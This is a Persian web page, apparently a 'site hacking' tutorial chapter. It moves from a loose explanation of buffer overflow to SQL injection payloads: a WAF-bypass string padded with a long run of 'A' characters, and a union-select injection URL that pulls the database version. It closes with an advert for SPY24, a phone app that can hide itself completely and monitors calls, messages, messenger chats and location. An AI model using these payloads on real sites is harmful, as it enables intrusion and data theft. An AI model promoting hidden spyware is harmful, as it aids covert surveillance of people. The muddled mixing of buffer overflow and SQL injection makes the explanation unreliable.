یک سرریز بافر زمانی اتفاق می افتد که یک برنامه یا فرایند تلاش می کند اطلاعات بیشتری را در یک بافر (منطقه ذخیره سازی داده های موقت) ذخیره کند  . از آنجاییکه بافر ها برای حاوی مقدار محدودی از داده ها ایجاد می شوند، اطلاعات اضافی در حال انتقال می تواند به بافر های مجاور سرازیر شود .

چه ممکن است این فرآیند به طور تصادفی از طریق خطای برنامه نویسی نیز اتفاق بیفتد ، با این حال سرریز بافر یک نوع از حملات امنیتی معمول بر روی یکپارچگی داده ها است.

در حملات سرریز بافر، داده های اضافی ممکن است شامل کدهای طراحی شده برای هدایت اقدامات خاص باشد، در واقع ارسال دستورالعمل جدید به کامپیوتر مورد حمله است که می تواند موجبات این حمله را شامل شود .

به عنوان مثال، آسیب فایل های کاربر، تغییر داده ها و یا افشای اطلاعات محرمانه.

وقتی گفته می شود که حملات سرریز بافر بوجود آمده است، به این معنی است که زبان برنامه نویسی C این چارچوب را فراهم کرده و شیوه های برنامه نویسی ضعیف آسیب پذیری فراهم شده است

هک سایت

سرریز بافر در تزریق SQL یا SQL injection

(and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A’s+

این AAAAA بیشتر ۱۰۰۰ A است

/*and(/*!50000select*/1)=(/*!32302select+

 

مثالی از URL : حمله SQL Injection

+–http:// www. Example .com/music/song.php?cat=Punjabi&n==25799′ and 0 union select 1,version(),3,4,5,6,7,8,9

مرجع کامل آموزش SQL Injection :

بایپس WAF  همراه با سرریز بافر در SQL injection – هک سایت

+–AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)+ and0unionselect 1,version(),3,4,5,6,7,8,9

هک سایت, آموزش SQL Injection

پایان فصل دوم Sql Injection یا تزریق Sql

برنامه SPY24 :

که اولین مورد از قوانین سایت و مهمترین آن مقابله با هک میباشد و هر گونه سو استفاده و استفاده نادرست از آموزش ها و برنامه های وبسایت SPY24 بر عهده کاربر می باشد.

سامانه مراقبت از خانواده (SPY24) نام یک نرم افزار موبایل با نصب و فعال‌سازی بسیار ساده می باشد که به والدین امکان کنترل و مدیریت فعالیت فرزندان در شبکه های مجازی موبایلی را می دهد.

در زیر می توانید برخی از امکانات برنامه SPY24 را مشاهده نمایید:

  • نظارت بر تماس ها و پیامک ها به همراه تاریخ و زمان
  • گزارش پیام های تلگرام ، اینستاگرام ، واتس اپ و…
  • موقعیت لحظه مستمر و مسیر های پیموده شده
  • وب سایت های بازدید شده و برنامه های اجرا شده
  • با قابلیت پنهان سازی ۱۰۰ درصد برنامه و مدیرت راه دور
  • امکان مسدود سازی وب سایت ها، برنامه ها و مخاطبین از راه دور

keleis andre

برنامه ردیابی و کنترل نامحسوس گوشی موبایل و تبلت از راه دور

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا